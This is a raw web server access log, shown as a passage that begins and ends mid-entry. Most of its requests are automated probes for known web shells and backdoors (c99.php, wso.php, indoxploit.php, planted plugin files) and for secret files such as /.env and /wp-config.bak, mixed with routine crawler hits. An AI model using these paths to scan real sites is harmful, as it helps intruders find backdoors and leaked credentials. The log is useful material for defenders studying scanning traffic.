301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:51 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:54 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:25:57 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:01 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:05 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:08 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:11 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:15 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:17 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:19 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:21 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:23 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:26 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:29 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:31 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:34 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:37 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:41 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:44 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:46 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:49 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:52 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:55 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:26:58 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:01 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:05 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:08 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:11 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:16 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:20 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:23 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:27 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:32 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:36 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:41 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:44 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:46 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:49 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:53 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:27:59 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:04 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:09 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:13 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:16 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:18 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:21 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:24 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:29 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:32 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:36 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:39 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:28:41 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.222.253.12 - - [25/Apr/2025:22:57:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 198.235.24.251 - - [25/Apr/2025:22:57:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 66.249.79.107 - - [25/Apr/2025:23:04:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [25/Apr/2025:23:04:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [25/Apr/2025:23:04:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 2400:8d60:11::1dd3:10d6 - - [25/Apr/2025:23:38:15 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 2400:8d60:11::1dd3:10d6 - - [25/Apr/2025:23:38:16 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 18.223.108.59 - - [25/Apr/2025:23:39:11 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 195.20.18.145 - - [26/Apr/2025:00:07:24 -0400] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 66.249.79.106 - - [26/Apr/2025:00:25:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [26/Apr/2025:00:25:57 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 185.7.214.130 - - [26/Apr/2025:00:32:49 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 122.51.104.231 - - [26/Apr/2025:00:59:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.131.110.214 - - [26/Apr/2025:01:39:43 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 170.106.35.153 - - [26/Apr/2025:01:57:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.222.44.188 - - [26/Apr/2025:02:11:47 -0400] "GET /accesson.php HTTP/1.1" 301 795 "-" "Linux Mozilla" 51.222.44.188 - - [26/Apr/2025:02:11:56 -0400] "GET /wp-content/plugins/background-image-cropper/background-image-cropper.js HTTP/1.1" 301 795 "-" "Linux Mozilla" 31.11.36.147 - - [26/Apr/2025:02:17:50 -0400] "GET /wp-config.bak HTTP/1.1" 301 795 "-" "-" 139.59.95.40 - - [26/Apr/2025:02:22:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 114.119.128.196 - - [26/Apr/2025:03:15:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 14.241.66.254 - - [26/Apr/2025:03:24:40 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 185.147.125.18 - - [26/Apr/2025:04:02:22 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 43.130.71.237 - - [26/Apr/2025:04:13:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 77.238.225.146 - - [26/Apr/2025:04:23:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 58.49.233.126 - - [26/Apr/2025:04:32:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 108.167.146.125 - - [26/Apr/2025:04:42:22 -0400] "HEAD / HTTP/1.1" 301 0 "-" "-" 66.249.79.96 - - [26/Apr/2025:04:43:34 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.98 - - [26/Apr/2025:04:43:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 194.38.23.16 - - [26/Apr/2025:04:44:51 -0400] "GET /sites/all/modules/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 196.251.71.124 - - [26/Apr/2025:04:47:42 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 149.36.48.76 - - [26/Apr/2025:04:49:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:01 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:01 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:02 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:03 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:03 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:03 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:03 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:04 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:04 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:04 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:04 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:04 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:05 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:05 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:05 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:06 -0400] "GET /login.php HTTP/1.1" 